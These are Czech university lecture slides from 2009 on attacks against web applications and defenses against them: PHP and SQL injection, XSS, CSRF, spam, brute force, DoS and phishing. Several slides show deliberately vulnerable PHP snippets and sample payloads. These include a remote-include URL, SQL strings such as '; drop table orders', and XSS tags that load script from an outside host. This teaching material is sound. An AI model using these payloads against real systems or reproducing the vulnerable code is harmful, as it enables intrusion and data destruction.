Vývoj internetových aplikací 9. Útoky na internetové aplikace a možná obrana proti nim Tomáš Tureček, Jiří Suchora, VŠB-TU Ostrava, FEI, 456, 2009
Obsah přednášky Úvod PHP injekce SQL injekce XSS útoky CSRF útoky Spam Brute-force, Slovníkové útoky Dos, DDoS Sociální inženýrství, krádeže osobních dat a identity Zdroje a doporučená literatura
Porovnání klasického a kybernetického zločinu Parametr Průměrné ozbrojené přepadení Průměrný kybernetický útok Riziko Pachatel riskuje zranění Bez rizika fyzického zranění Zisk Průměrně 3-5000 USD Cca 50-500 000 USD Pravděpodobnost dopadení Pravděpodobnost odsouzení Trest 50-60% šance dopadení 10% šance dopadení 95% šance odsouzení při dopadení 5-6 let v průměru, pokud pachatel nikoho nezabil 15% dopadených soudně stíháno, z toho 50% odsouzeno 2-4 roky v průměru Zdroj: Kybernetická kriminalita, Václav Jirovský
Webové aplikace a jejich náchylnost k různým typům útoků 1Q 2009 WhiteHat Security % web sites
Množství (%) web sites se zranitelností kategorie urgent, critical a high v průmyslových odvětvích 1Q 2009, WhiteHat Security
Vybrané typy útoků PHP injekce SQL injekce XSS útok CSRF útok Spam Brute-force, Slovníkový útok DoS, DDoS Sociální inženýrství, krádeže osobních dat a identity
PHP injekce Charakteristika útoku Příklad Ochrana
PHP injekce Zneužití PHP funkcí include()a require() ve špatně napsaných webových aplikacích Vložení jakéhokoliv cizího kódu do kódu aplikace Příklady cílů útoku: vypsání zdrojového kódu aplikace procházení adresáři práci s adresáři a soubory (v případě špatně nastavených práv)
PHP injekce Příklad špatného kódu: http://web/index.php?page=http://utocnikuvweb/phpkod.txt <? $page = $_GET['page'];include $page;?> Vstup pomocí GET není ošetřen tudíž lze vložit do proměnné $page cokoliv co se útočníkovi bude líbit. Příklad útoku: vložení URL se škodlivým skriptem pro vypsání zdrojového kódu aplikace nebo spuštění tzv. "php shellu" Ukázka
PHP injekce - obrana Použití funkcí: addslashes() stripslashes() htmlspecialchars() Nastavení magic_quotes_gpc (automatické escapování znaků) allow_url_fopen (povolení čtení dat přes http) allow_url_include (vkládání souboru pres http) register_globals (automatické plnění proměnných)
SQL injekce Charakteristiku útoku Příklad útoku Obrana na straně serveru Obrana na straně databáze
SQL injekce SQL příkaz vložený do původního SQL příkazu Zdrojem útoku je obvykle uživatelský vstup Formuláře Textbox Text QueryString Cíle útoku: získat data poškodit data získat přístup do aplikace a dalším zdrojům
SQL injekce Příklad: správný (autorem aplikace zamýšlený) dotaz: http://web/vieworder.php?auto=nissan SQL dotaz použitý v aplikaci: $sql = "select * from orders where name='$auto'"; útok: namísto nissan nissan' or 2>1 - select * from orders where name='nissan' or 2>1 ' popřípadě nissan -> nissan'; drop table orders - první dotaz vypíše všechny prvky v tabulce, druhý smaže tabulku Ukázka
SQL injekce obrana na straně serveru kontrola typů očekávaných hodnot is_string() is_numeric() použití funkcí pro escapování nebezpečných hodnot html_specialchars() addslahes() mysql_real_escape_string() vypnutí chybových hlášení
SQL injekce obrana na straně databáze Princip minimálních práv zřízení databázových uživatelských účtů pro: čtení konkrétních tabulek zápis do konkrétních tabulek manipulaci s databázovým schématem Logování důležitých událostí pro pozdější nápravu po případném poškození útočníkem
XSS útok Charakteristika útoku Příklad skriptu Persistent XSS útok Non-Persistent XSS útok Bypassing a DOM-bassed útoky Obrana
XSS útok Zneužití skriptovacího jazyka na straně klienta (JavaScript) Skript je součástí webové stránky při jejím načtení a je proveden prohlížečem Cíl útoku: krádež cookies nebo session neautentizovaný přístup do uživatelem používané aplikace keylogger přístup k objektům v dokumentu za použití dokumentového objektového modelu (DOM) prohlížené stránky
XSS útok Příklad útoku: načtení jiného webu pomocí nového rámce: <iframe src="http://web.com"></iframe> přesměrování: <script>document.location='http://web.com';</script> načtení skriptu z cizího umístění a jeho následné provedení: <script src= http://web.com/javascript.js"></script> a další složitější typy kódu, jako již zmíněná příprava keloggeru nebo krádež id sezení či cookies napadeného uživatele Ukázka
XSS útok trvalý (persistent) Výskyt na místech, kde má uživatel možnost vkládat do aplikace data fórum návštěvní kniha komentáře Po vložení zůstává škodlivý kód přístupný pro každého uživatele, který infikovaný web navštíví
XSS útok dočasný (non-persistent) Nejčastěji předáván oběti formou podvrženého linku Škodlivý skript je součástí stránky, ale je předáván jako součást HTTP požadavku Nejčastější výskyt: u vyhledávačů u stránek s dynamicky definovaným chybovým hlášením
Příklad existující stránky náchylné k dočasnému XSS útoku
XSS útok DOM based útok podvrhnutí hodnot jednotlivým objektů DOMu na prohlížené stránce za účelem oklamání uživatele Bypassing útok obdoba SQL injekce hodnota zadaná uživatelem je začleněna do HTML stránky jako hodnota parametru jiného tagu v aplikaci (pomocí předčasně uzavřeného původního tagu) příklad vadného php kódu a útočícího dotazu: <? echo "<input type='text' name='search' value='$search'>";?> http://web/index.php?search=val'><script src='http://myweb/script.js'></script>
XSS útok - obrana Na straně klienta: zákaz skriptování (JavaScriptu) v prohlížeči případně povolení skriptování jen pro konkrétní (bezpečné) aplikace Na straně serveru: kontrolovat uživatelských vstupů a jejich filtrace od problémových řetězců a znaků
Útok Cross side request forgery (CSRF) Charakteristika útoku Obrana na straně klienta Obrana na straně serveru
CSRF útok Útoky jsou většinou prováděny formou speciálně upravených odkazů vedoucí k předem připravené akci útočníka (emailem, instant messagingem, XSS, ) Útok je obvykle používán v kombinaci s XSS Napadený uživatel provede akci, kterou nemá v úmyslu Příklad cílů útoku: Získání hlasů internetových v anketách Princip přihlášené oběti neautorizovaný přístup do aplikace, kde je uživatel (v jiném okně) právě přihlášen (nepřiklad změna hesla a jeho okamžité zneužití)
CSRF útok obrana na straně klienta Vyhýbání se cizím odkazům Obrana proti XSS Pokud nepotřebujeme, nejsme přihlášení k žádné službě zbytečně, a provádíme pokud možno všechny akce jako anonymní uživatel (zabráníme provedení akce, pod právy oběti)
CSRF útok obrana na straně serveru Hlídání hlavičky referrer (odkud návštěvník přichází) definice řetězce návaznosti stránek u aplikace například povolením přístupu k nebezpečným operacím jen z menu aplikace Navigace v aplikaci s použitím proměnlivých URL požadovaná stránka se pak nachází vždy na jiné adrese, nelze stejný odkaz použít vícekrát Navigace v aplikaci s použitím tzv. hlídacích lístků Server vygeneruje jedinečné ID do skrytého pole stránky a to pak ověřuje
Spam Charakteristika Spamu Obrana u webového/komentářového spamu Ochrana u emailového spamu Graf rozšíření email/web spamu v různých částech světa Graf rozdělení podle typu spamu
Spam Nevyžádané masové sdělení, šířící se internetem Výskyt: email fórum komentáře instant messaging Cíl útoku: informovat o službě/produktu přilákat uživatele na infikovanou stránku phishing znemožnit uživatelům používání jejich e-mailu získání konkurenční výhody mezi emailovými servery zařazením konkrétního serveru na černou listinu
Spam obrana Moderování příspěvků Povinná registrace všech přispěvatelů (a jejich následný ban) CAPTCHA způsob jak odlišit uživatele od robota (například text vepsaný do obrázku a jeho kontrola) Antispamový filtr black list spamujících domén rozsah doby odesílání příspěvků z jedné IP filtrace slovních spojení typických pro SPAM
Spam obrana emailu Black listing filtrace podle adresy uživatele/ip Filtrace na základě obsahu emailu Filtrace založená na učení se nových pravidel jak rozpoznat spam (tzv. bayesovské učení) nejúčinější pokud filtry učí sami uživatelé
Procento spamu v emailové komunikaci zdroj: Symantec
Statistika oblastí zdrojů spamu 2009, zdroj: Symantec
Statistika procentuálního rozložení podle předmětů spamu nigerijské dopisy řetězové zprávy pyramidové zprávy Verifikace Phishing kreditních karet přihlašovacích údajů Online kasina Výhry loterie dovolené Informace o službách 2009, zdroj: Symantec
Stoupající trend výskytu malware ve spamech 2009, zdroj: Symantec
Spam a malware - příklad Trojan.Bredolab 2009, zdroj: Symantec
Brute-force, slovníkové útoky Charakteristika Brute-force útok Slovníkový útok Ochrana
Brute-force útok Zjišťování informací hrubou silou, opakování dotazů s generovanými informacemi Časově náročné řešení, závisí na prostředí: složitost kódu/hesla k prolomení stroj útočníka stroj oběti rychlost připojení Ukázka Cíl útoku: obvykle hledání/prolomení přístupového kódu/hesla
Brute-force slovníkový útok Výhoda: redukovaný prostor řešení méně časově náročný přístup existence slovníků na internetu jména, příjmení, nejčastěji používaná slova v konkrétním jazyce Nevýhoda: není zde garance úspěchu jako u útoku hrubou silou
Brute-force (slovníkový) útok - obrana Aplikace definuje: časové rozmezí mezi neúspěšným zadáním hesla pravidla pro přihlášení například 5x špatné heslo a následná blokace požití dlouhého/složitého hesla obsahující velké/malé písmena, čísla a speciální znaky
Orientační čas pro prolomení hesla (závisí na podmínkách) Zdroj: lifehacker.com
(Distributed) Denial-of-Service DoS, DDoS Charakteristika Typické znaky útoku Syn Flood útok Ping Flood útok Smurf attack Možná obrana
DoS, DDoS Technika útoku využívající přehlcení serveru/aplikace velkým množstvím požadavků Cíle útoku: pád serveru/aplikace způsobené přetížením nebo vyčerpáním zdrojů zaplavení provozu na síti náhodnými daty které zabraňují protékání skutečných dat omezení přístupu ke službě všem nebo konkrétnímu uživateli narušení konfiguračního nastavení vsunutím chybových hlášení do sekvence instrukcí které můžou vést k pádu systému
DoS Syn flood Cíl: znemožnit uživatelům navázat TCP spojení se serverem TCP handshake: klient pošle na server paket s příznakem SYN server potvrdí žádost o spojení paketem s příznaky SYN a ACK Klient potvrdí potvrzení serveru paketem s příznakem ACK
DoS Syn flood Útok: útočník zahltí server množstvím paketů s příznakem SYN server potvrzuje žádosti o spojení a čeká ACK od klienta, které však nepřijdou (time-out) cílový server brzy vyčerpá prostředky pro připojení a další klienti se již nepřipojí
DoS Ping flood V případě, že má útočník k dispozici rychlejší připojení než oběť, může zahltit cílový stroj velkým množstvím požadavků ping Cíl útoku: znemožnit oběti používat připojení znemožnit uživatelům přístup ke službě zprostředkovávané obětí
DoS Smurf attack Hromadný ping flood Při chybné konfiguraci sítě je možné zahltit lokální síť množstvím ping dotazů s použitím broadcast adresy Cíl útoku: vyřadit z provozu segment sítě
DoS ochrana Webové aplikace (aplikační vrstva) použití různých modulů pro webový server omezující využití prostředků pro jednotlivé uživatele např. modul mod_bandwidth u Apache HTTP serveru Sítě (transportní vrstva) definice paketového filtru např. SYN-cookies, proti útoku SYN-Floods používání aktivních síťových prvků se zabudovanou ochranou proti útokům např. komerční firewall DefensePro
Sociální inženýrství,ztráta identity Charakteristika Hrozby Tabulka zájmu zlodějů dat o sociální sítě podle země původu Obvyklé ceny komodit na černém trhu Zdroje phishingových útoků podle země původu Cíle phishingových útoků
Sociální inženýrství, ztráta identity Sociální sítě: seznamky chaty blogy Phishing podvržené emaily podvržené webové stránky podvodné telefonáty Získané informace se prodávají na černém trhu (underground market/economics)
Sociální inženýrství, ztráta identity Hrozby: použití důvěryhodného webu s chybou a jeho zneužití k dalšímu útoku hledají se informace o uživatelích ne chyby v systémech získané informacemi jsou prodávány na černém trhu a pak dále zneužívány potřeba okamžité reakce administrátorů na chyby v systémech uživatelů při prozrazení jejich důvěrných informací
TOP 10 zájem o komodity a jejich cena na černém trhu
Top 15 zájem o informace ze zemí a oblast zájmu o informace v dané zemi Listopad 2009, zdroj: Symantec
Phishing - ukázka
Zdroje a doporučená literatura Marshal.com Symantec.com Whitehatsec.com Kybernetická kriminalita Václav Jirovský Bojiště zítřka James F. Dunnigan Umění klamu Kevin Mitnick Wikipedia
Děkuji za pozornost Dotazy?